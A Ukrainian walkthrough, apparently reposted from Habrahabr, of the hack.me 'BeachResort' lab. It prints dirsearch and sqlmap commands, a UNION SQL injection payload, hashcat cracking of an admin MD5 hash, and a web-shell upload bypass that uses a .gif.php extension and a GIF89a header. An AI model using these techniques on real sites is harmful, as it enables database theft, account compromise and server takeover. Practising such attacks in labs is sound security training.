Hack.me: Ще один майданчик для відточування навичок в області ІБ



Всім доброго часу доби, сьогодні не буде VulnHub'a. Сьогодні розглянемо його альтернативу hack.me. На якому міститься не мало цікавих майданчиків для злому, на різні теми. У цій статті розглянемо BeachResort. Як пише автор, це не типовий CTF, тут замість прапорів, нас просять перевірити CMS сайту на безпеку, а заодно дізнатися наступне:
  1. Ім'я адміністратора сайту
  2. Назва БД
  3. Список таблиць
  4. Список всіх файлів в кореневій директорії CMS
  5. Ліцензійний ключ
  6. Вміст дуже секретного файлу


Приступимо
Після старту, нам стає доступна тимчасова посилання на уразливий сайт. Побродивши по сайту, нічого цікавого на ньому не знаходимо, тому перейдемо до сканування прихованих директорій:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Скануємо далі:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Як і очікувалося, тут є форма авторизації:


І так як від нас потрібно дізнатися інформацію про БД і її вміст, то, ймовірно, ми маємо справу з SQL injection. Залишилося її знайти:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --субд=MySQL --random-agent --batch --dbs

Sqlmap успішно впорався з поставленим завданням, видав назва бази даних: supercms і ось такий Payload:
Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin
Переходимо до списку таблиць:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --субд=MySQL --random-agent --batch -D supercms --tables



Таблиця groups нам не цікава, у завданні щось говорилося про ліцензійний ключ. Подивимося відповідну таблицю:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --субд=MySQL --random-agent --batch -D supercms -T license --dump



Ще 1 пункт завершено, залишилося поглянути на список користувачів, заодно, ймовірно там повинно бути ім'я адміністратора CMS:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --субд=MySQL --random-agent --batch -D supercms -T operators --dump



Адмін знайдений, і навіть більшу частину паролів sqlmap за нас розшифрував, щоб знайти останній, скористаємося Hashcat'ом:
$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

І через кілька секунд отримуємо необхідний пароль:
2bfea2ff114ccd30d95e176a1d25346a:!superadmin!

Пробуємо авторизуватися, і потрапляємо на сторінку:


В цілому нічого цікавого, окрім сторінок з можливістю завантажити зображення:


Спробувавши завантажити простенький шелл, отримуємо помилку:


Ок, заллємо туди b374k, попередньо обробивши запит плагіном Tamper Data Firefox. Все що потрібно, це замінити назву файлу в перехопленому запиті на b374k.gif.php, і додавши в початок файлу сигнатуру GIF89а:


Відправляємо запит, отримуємо повідомлення про успішне завантаження. Припустивши, що за логікою наша «шелл-картинка» повинна завантажитися в директорію images, пробуємо відкрити тільки що завантажений файл:


Приступимо до виконання останніх завдань, а саме отримаємо список файлів та директорій:


Тут же знаходимо файл secret.noop, який є останньою ланкою:


Всі завдання виконані, можна сміливо відправляти відповіді автору, для підтвердження проходження.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.